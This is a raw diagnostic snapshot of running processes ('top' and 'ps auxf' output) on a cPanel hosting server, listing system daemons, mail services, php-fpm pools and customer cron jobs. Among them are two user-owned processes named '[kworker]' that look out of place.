  1758 root      20   0  183080   2424   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1759 root      20   0  183080   2424   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1760 root      20   0  183080   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1761 root      20   0  183080   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1762 root      20   0  183080   2412   1580 S   0.0  0.1   0:00.00 /usr/sbin+
  1763 root      20   0  183080   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1765 root      20   0  183080   2420   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1774 root      20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /bin/sh -+
  1775 root      20   0  188220  11104   5148 S   0.0  0.5   0:00.02 /usr/loca+
  1778 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  1779 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  1780 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
  1781 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  1783 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
  1786 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
  1787 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  1788 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  1789 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  1792 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
  1794 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  1795 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
  1796 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  1797 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
  1798 root      20   0   20164    960    764 S   0.0  0.0   0:00.00 jailshell+
  1802 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
  1817 root      20   0  113288   1516   1300 S   0.0  0.1   0:00.00 /bin/bash+
  1828 pactpay   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
  1834 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
  1844 root      20   0  299272    524    364 S   0.0  0.0   0:00.83 php-fpm: +
  1865 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
  1895 root      20   0  160220   2060   1580 R   0.0  0.1   0:00.00 top -bcn1
  1905 root      38  18  130416   1384    704 S   0.0  0.1   0:00.07 cpanellog+
  1925 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
  1927 cloudsms  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
  1928 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
  1930 cloudsms  20   0  113284   1208   1032 S   0.0  0.0   0:00.00 /usr/loca+
  1932 root      20   0    6728    416    336 R   0.0  0.0   0:00.00 /usr/sbin+
  2132 root      20   0  267108  30876   5340 S   0.0  1.3   0:02.58 /usr/sbin+
  5902 root      20   0  269784  99560   3144 S   0.0  4.1   0:05.40 spamd chi+
  5903 root      20   0  261484  94400    652 S   0.0  3.9   0:00.25 spamd chi+
  8253 oysipao+  20   0    3148      8      0 S   0.0  0.0   0:00.00 [kworker]
  8272 oysipao+  20   0    3152     36      0 S   0.0  0.0   0:00.57 [kworker]
 13861 root      20   0  183048   1056    504 S   0.0  0.0   0:00.00 /usr/sbin+
 13918 root      20   0  113284    400    220 S   0.0  0.0   0:00.00 /bin/sh -+
 13954 root      20   0  108056    116     44 S   0.0  0.0   0:00.00 sleep 2h +
 30837 root      20   0   12784   1392   1180 S   0.0  0.1   0:00.83 /usr/loca+
 30838 root      20   0   12732   1364   1180 S   0.0  0.1   0:00.72 /usr/loca+
 30839 root      20   0   12788   1400   1180 S   0.0  0.1   0:00.76 /usr/loca+
 30841 dovenull  20   0   46912   4128   3068 S   0.0  0.2   0:00.12 dovecot/p+
 30842 dovenull  20   0   47600   4728   3140 S   0.0  0.2   0:00.09 dovecot/i+
 30844 root      20   0   10452   1340    968 S   0.0  0.1   0:00.09 dovecot/l+
 30845 dovenull  20   0   46912   4112   3044 S   0.0  0.2   0:00.14 dovecot/p+
 30846 dovenull  20   0   47472   4596   3128 S   0.0  0.2   0:00.06 dovecot/i+
 30847 root      20   0   24556  12132   1220 S   0.0  0.5   0:00.06 dovecot/c+
 30848 dovecot   20   0   13568   1320   1052 S   0.0  0.1   0:00.01 dovecot/s+
 30849 dovecot   20   0   41056   2600   1828 S   0.0  0.1   0:00.15 dovecot/a+
 30851 root      20   0   53252  11768   2408 S   0.0  0.5   0:00.05 /usr/loca+
 56209 root      20   0       0      0      0 S   0.0  0.0   0:00.37 [kworker/+
 57912 root      20   0       0      0      0 S   0.0  0.0   0:00.24 [kworker/+
 74197 root      20   0       0      0      0 S   0.0  0.0   0:00.10 [kworker/+
 75823 root      20   0  182636  29720   1368 S   0.0  1.2   0:13.49 lfd - sle+
 76159 nobody    20   0  277980  36588   4716 S   0.0  1.5   0:03.36 /usr/sbin+
 85854 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 87167 root      20   0 1276100  10744    596 S   0.0  0.4   0:00.07 /usr/bin/+
 87201 root      20   0 1277312  11540    560 S   0.0  0.5   0:00.06 /usr/bin/+
 87606 root      20   0  123576    696    468 S   0.0  0.0   0:00.00 /usr/sbin+
 89981 nobody    20   0  278088  36372   4532 S   0.0  1.5   0:01.80 /usr/sbin+
 90443 root      20   0       0      0      0 S   0.0  0.0   0:00.11 [kworker/+
 90543 nobody    20   0  277944  36356   4552 S   0.0  1.5   0:01.73 /usr/sbin+
 91667 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 93851 root      20   0       0      0      0 S   0.0  0.0   0:00.08 [kworker/+
 94664 nobody    20   0  277956  35864   4184 S   0.0  1.5   0:01.36 /usr/sbin+
 95749 nobody    20   0  277652  35876   4328 S   0.0  1.5   0:00.99 /usr/sbin+
 96609 nobody    20   0  277632  35744   4224 S   0.0  1.5   0:00.91 /usr/sbin+
 97722 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 97898 nobody    20   0  277968  35832   4128 S   0.0  1.5   0:00.79 /usr/sbin+
 97906 nobody    20   0  277944  36000   4336 S   0.0  1.5   0:00.73 /usr/sbin+
 97907 nobody    20   0  277632  35992   4472 S   0.0  1.5   0:00.78 /usr/sbin+
 99417 root      30  10  113284   1488   1276 S   0.0  0.1   0:00.00 /bin/bash+
 99439 root      30  10  132964   4548   1012 S   0.0  0.2   0:00.00 ConfigSer+
 99450 root      30  10  108056    360    284 S   0.0  0.0   0:00.00 sleep 8223
 99749 root      30  10  113284   1496   1256 S   0.0  0.1   0:00.00 bash /etc+
 99750 root      30  10  113644    976    832 S   0.0  0.0   0:00.00 awk -v pr+
 99803 root      30  10  108056    356    284 S   0.0  0.0   0:00.00 sleep 691
100597 nobody    20   0  277616  35612   4124 S   0.0  1.5   0:00.41 /usr/sbin+
100789 nobody    20   0  277680  35884   4328 S   0.0  1.5   0:00.49 /usr/sbin+
101838 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
101980 nobody    20   0  277632  35404   3900 S   0.0  1.5   0:00.22 /usr/sbin+
101983 nobody    20   0  277612  35384   3896 S   0.0  1.5   0:00.26 /usr/sbin+
101984 nobody    20   0  277968  35616   3956 S   0.0  1.5   0:00.22 /usr/sbin+
102285 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov07   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    Nov07   0:03  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        R    Nov07   0:38  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov07   0:05  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [watchdogd]
root         36  0.0  0.0      0     0 ?        S    Nov07   0:19  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov07   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov07   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [deferwq]
root        102  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [kauditd]
root        233  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [ata_sff]
root        239  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [scsi_eh_0]
root        247  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [scsi_tmf_0]
root        248  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [scsi_eh_1]
root        249  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [scsi_tmf_1]
root        255  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [ttm_swap]
root        261  0.0  0.0      0     0 ?        S<   Nov07   0:02  \_ [kworker/0:1H]
root        266  0.0  0.0      0     0 ?        S<   Nov07   0:02  \_ [kworker/1:1H]
root        277  0.0  0.0      0     0 ?        S    Nov07   0:01  \_ [jbd2/vda3-8]
root        278  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [ext4-rsv-conver]
root        417  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [rpciod]
root        418  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [xprtiod]
root        653  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [kvm-irqfd-clean]
root        663  0.0  0.0      0     0 ?        S<   Nov07   0:04  \_ [loop0]
root        675  0.0  0.0      0     0 ?        S    Nov07   0:00  \_ [jbd2/loop0-8]
root        678  0.0  0.0      0     0 ?        S<   Nov07   0:00  \_ [ext4-rsv-conver]
root      56209  0.0  0.0      0     0 ?        S    02:12   0:00  \_ [kworker/u200:1]
root      57912  0.0  0.0      0     0 ?        S    02:15   0:00  \_ [kworker/0:1]
root      74197  0.0  0.0      0     0 ?        S    02:42   0:00  \_ [kworker/u200:2]
root      85854  0.0  0.0      0     0 ?        S    02:59   0:00  \_ [kworker/1:1]
root      90443  0.0  0.0      0     0 ?        S    03:06   0:00  \_ [kworker/0:3]
root      91667  0.0  0.0      0     0 ?        S    03:08   0:00  \_ [kworker/1:0]
root      93851  0.0  0.0      0     0 ?        S    03:12   0:00  \_ [kworker/0:0]
root      97722  0.0  0.0      0     0 ?        S    03:19   0:00  \_ [kworker/1:3]
root     101838  0.0  0.0      0     0 ?        S    03:26   0:00  \_ [kworker/1:2]
root     102285  0.0  0.0      0     0 ?        S    03:27   0:00  \_ [kworker/1:4]
root       1865  0.0  0.0      0     0 ?        S    03:30   0:00  \_ [kworker/0:2]
root          1  0.1  0.1  44416  3508 ?        Ss   Nov07   0:43 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        358  0.0  0.3  39500  7540 ?        Ss   Nov07   0:18 /usr/lib/systemd/systemd-journald
root        388  0.0  0.0  45356    88 ?        Ss   Nov07   0:00 /usr/lib/systemd/systemd-udevd
root        412  0.0  0.0  55532   500 ?        S<sl Nov07   0:03 /sbin/auditd
polkitd     484  0.0  0.0 612240  1088 ?        Ssl  Nov07   0:04 /usr/lib/polkit-1/polkitd --no-debug
root        486  0.0  0.0 152780   140 ?        Ss   Nov07   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        487  0.0  0.0  21540   376 ?        Ss   Nov07   0:00 /usr/sbin/irqbalance --foreground
root        495  0.0  0.0  52852   372 ?        Ss   Nov07   0:00 /usr/sbin/smartd -n -q never
dbus        496  0.0  0.0  57040  1412 ?        Ss   Nov07   0:16 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
nscd        501  0.0  0.1 994492  3424 ?        Ssl  Nov07   0:15 /usr/sbin/nscd
rpc         505  0.0  0.0  69256    56 ?        Ss   Nov07   0:00 /sbin/rpcbind -w
root        525  0.0  0.0   4388    40 ?        Ss   Nov07   0:00 /usr/sbin/acpid
root        530  0.0  0.2 224284  6564 ?        Ss   Nov07   0:00 queueprocd - waiting up to 60s to process a task
root        536  0.0  0.0  24896  1404 ?        Ss   Nov07   0:07 /usr/lib/systemd/systemd-logind
root        551  0.0  0.0 195208     0 ?        Ssl  Nov07   0:00 /usr/sbin/gssproxy -D
root        572  0.0  0.0  24208    24 ?        Ss   Nov07   0:00 /usr/sbin/atd -f
root        575  0.0  0.0 124512   896 ?        Ss   Nov07   0:00 /usr/sbin/crond -n
root      13861  0.0  0.0 183048  1056 ?        S    01:00   0:00  \_ /usr/sbin/CROND -n
root      13918  0.0  0.0 113284   400 ?        Ss   01:00   0:00  |   \_ /bin/sh -c sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
root      13954  0.0  0.0 108056   116 ?        S    01:00   0:00  |       \_ sleep 2h 41m
root       1748  0.0  0.0 183084  2420 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1786  0.0  0.0 113284  1212 ?        Ss   03:30   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root       1802  0.0  0.0 108052   356 ?        S    03:30   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root       1817  0.0  0.0 113288  1516 ?        S    03:30   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root       1933  0.0  0.0 153672  1784 ?        R    03:30   0:00  |               \_ ps auxf
root       1749  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1797  0.0  0.0  20164   808 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/sendsingle1.php > /dev/null 2>&1
root       1750  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1788  0.0  0.0  20164   804 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
root       1751  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1794  0.0  0.0  20164   808 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_single.php > /dev/null 2>&1
root       1753  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1787  0.0  0.0  20164   808 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root       1754  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1796  0.0  0.0  20164   808 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root       1755  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1779  0.0  0.0  20164   808 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
root       1756  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1778  0.0  0.0  20164   808 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root       1757  0.0  0.1 183080  2428 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1792  0.0  0.0  20164   804 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root       1758  0.0  0.1 183080  2424 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1789  0.0  0.0  20164   804 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root       1759  0.0  0.1 183080  2424 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1783  0.0  0.0  20164   988 ?        Ss   03:30   0:00  |   \_ jailshell (cloudsms) [1928] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
cloudsms   1928  0.0  0.0      0     0 ?        D    03:30   0:00  |       \_ [jailshell]
root       1760  0.0  0.0 183080  2420 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1781  0.0  0.0  20164   804 ?        Ss   03:30   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root       1761  0.0  0.0 183080  2420 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1795  0.0  0.0  20164   988 ?        Ss   03:30   0:00  |   \_ jailshell (cloudsms) [1925] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
cloudsms   1925  0.0  0.0      0     0 ?        D    03:30   0:00  |       \_ [jailshell]
root       1762  0.0  0.0 183080  2412 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1774  0.0  0.0 113284  1208 ?        Ss   03:30   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root       1775  0.0  0.4 188220 11104 ?        S    03:30   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root       1864  0.0  0.0 160224  2372 ?        S    03:30   0:00  |           \_ top -n 2 -b -c
root       1763  0.0  0.0 183080  2420 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1798  0.0  0.0  20164   960 ?        Ss   03:30   0:00  |   \_ jailshell (pactpay) [1828] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay    1828  0.0  0.0  20164   256 ?        S    03:30   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay    1831  0.0  0.7 476724 17484 ?        S    03:30   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root       1765  0.0  0.0 183080  2420 ?        S    03:30   0:00  \_ /usr/sbin/CROND -n
root       1780  0.0  0.0  20164   972 ?        Ss   03:30   0:00      \_ jailshell (nigeria) [1834] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria    1834  0.0  0.0  20164   260 ?        S    03:30   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria    1836  0.0  0.6 400652 15936 ?        S    03:30   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        587  0.0  0.0 108296    48 tty1     Ss+  Nov07   0:00 /sbin/agetty --noclear tty1 linux
root        588  0.0  0.0 114704    24 ttyS0    Ss+  Nov07   0:00 /bin/bash
mailnull    630  0.0  0.1  89112  3988 ?        Ss   Nov07   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull   1431  0.0  0.4  90264  9736 ?        S    03:29   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root       1112  0.0  0.0 572372   940 ?        Ssl  Nov07   0:02 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
systuser   1114  0.0  0.0  10132    44 ?        Ssl  Nov07   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
telegraf   1115  0.0  1.5 5654048 37068 ?       SLsl Nov07   0:16 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
systuser   1118  0.0  0.0  13012    48 ?        Ssl  Nov07   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
systuser   1122  0.0  0.0 112268    60 ?        Ssl  Nov07   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root       1123  0.0  0.0  51656  1216 ?        Ss   Nov07   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovecot    1280  0.0  0.0  10320   340 ?        S    Nov07   0:00  \_ dovecot/anvil
dovenull  30841  0.0  0.1  46912  4128 ?        S    01:28   0:00  \_ dovecot/pop3-login
dovenull  30842  0.0  0.1  47600  4728 ?        S    01:28   0:00  \_ dovecot/imap-login
root      30844  0.0  0.0  10452  1340 ?        S    01:28   0:00  \_ dovecot/log
dovenull  30845  0.0  0.1  46912  4112 ?        S    01:28   0:00  \_ dovecot/pop3-login
dovenull  30846  0.0  0.1  47472  4596 ?        S    01:28   0:00  \_ dovecot/imap-login
root      30847  0.0  0.5  24556 12132 ?        S    01:28   0:00  \_ dovecot/config
dovecot   30848  0.0  0.0  13568  1320 ?        S    01:28   0:00  \_ dovecot/stats
dovecot   30849  0.0  0.1  41056  2600 ?        S    01:28   0:00  \_ dovecot/auth
root       1661  0.0  0.0  28936  2372 ?        S    03:29   0:00  \_ dovecot/quota-status -p postfix
root       1124  0.0  0.0 153404   304 ?        Ss   Nov07   0:00 pure-ftpd (SERVER)
systuser   1126  0.0  0.5 114016 13420 ?        Ssl  Nov07   0:07 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root       1127  0.0  0.0 111304   404 ?        Ss   Nov07   0:04 /usr/sbin/sshd -D
root       1622  0.0  0.1 111304  4264 ?        Ss   03:29   0:00  \_ sshd: [accepted]
sshd       1634  0.0  0.1 115644  2628 ?        S    03:29   0:00  |   \_ sshd: [net]
root       1713  0.0  0.1 111304  4272 ?        Ss   03:29   0:00  \_ sshd: [accepted]
sshd       1714  0.0  0.1 115644  2628 ?        S    03:29   0:00  |   \_ sshd: [net]
root       1715  0.3  0.2 162436  5832 ?        Ss   03:29   0:00  \_ sshd: root [priv]
sshd       1716  0.0  0.1 115644  2628 ?        S    03:29   0:00      \_ sshd: root [net]
memcach+   1128  0.0  0.0 342400    36 ?        Ssl  Nov07   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root       1130  0.0  0.2 397344  6912 ?        Ss   Nov07   0:07 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
healtho+   1555 12.7  2.9 459288 72080 ?        S    03:29   0:03  \_ php-fpm: pool health_oyostate_gov_ng
nigeria    1608  0.1  0.3 397064  8364 ?        S    03:29   0:00  \_ php-fpm: pool nigeriadecide_org
healtho+   1654 11.3  2.8 457240 69976 ?        R    03:29   0:01  \_ php-fpm: pool health_oyostate_gov_ng
healtho+   1694  9.6  2.2 442904 55544 ?        S    03:29   0:00  \_ php-fpm: pool health_oyostate_gov_ng
root       1134  0.0  0.7 436392 19060 ?        Ss   Nov07   0:01 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root       1135  0.0  0.3 314704  7844 ?        Ssl  Nov07   0:09 /usr/sbin/rsyslogd -n
root       1138  0.0  3.1 1763032 77248 ?       Ssl  Nov07   0:14 /usr/local/cpanel/3rdparty/bin/clamd -F
root       1162  0.0  0.2 385496  5868 ?        Ss   Nov07   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
named      1168  0.0  1.7 858124 42936 ?        Ssl  Nov07   0:18 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root       1170  0.0  0.3 261820  9392 ?        Ss   Nov07   0:07 cpsrvd (SSL) - waiting for connections                   
cpanell+   1705  0.0  0.5 262360 12700 ?        S    03:29   0:00  \_ cpaneld - serving 127.0.0.1
root       1733  0.0  0.0      0     0 ?        Z    03:29   0:00  \_ [cpaneld - servi] <defunct>
root       1179  0.0  0.2 386112  5520 ?        Ss   Nov07   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root       1191  0.0  0.2 392856  6332 ?        Ss   Nov07   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
systuser   1192  0.0  0.0 111864    64 ?        Ssl  Nov07   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root       1193  0.0  0.0 445028     0 ?        Ss   Nov07   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
cpanelc+   1205  0.0  0.1  11388  4148 ?        Ss   Nov07   0:25 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root       1350  0.0  1.9 248084 46212 ?        Ss   Nov07   0:06 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       5902  0.0  4.1 269784 99560 ?        S    Nov07   0:05  \_ spamd child
root       5903  0.0  3.9 261484 94400 ?        S    Nov07   0:00  \_ spamd child
systuser   1362  0.0  0.1 157708  2956 ?        S    Nov07   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1413  0.0  0.1 387556  3468 ?        Ss   Nov07   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1414  0.0  0.6 410480 15072 ?        Ss   Nov07   0:25 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1430  0.0  1.0 262228 24616 ?        Ss   Nov07   0:03 cpdavd - accepting connections on: 2091, 2077, 2078
root       1435  0.0  0.4 209992 10584 ?        Ss   Nov07   0:03 tailwatchd
root       1436  0.0  0.1 167452  4112 ?        Ss   Nov07   0:00 dnsadmin - dormant mode
root       1844  0.0  0.0 299272   524 ?        Ss   Nov07   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1905  0.0  0.0 130416  1384 ?        SN   Nov07   0:00 cpanellogd - sleeping for logs
mysql      1964  2.3 12.9 1462552 313604 ?      Sl   Nov07  12:10 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
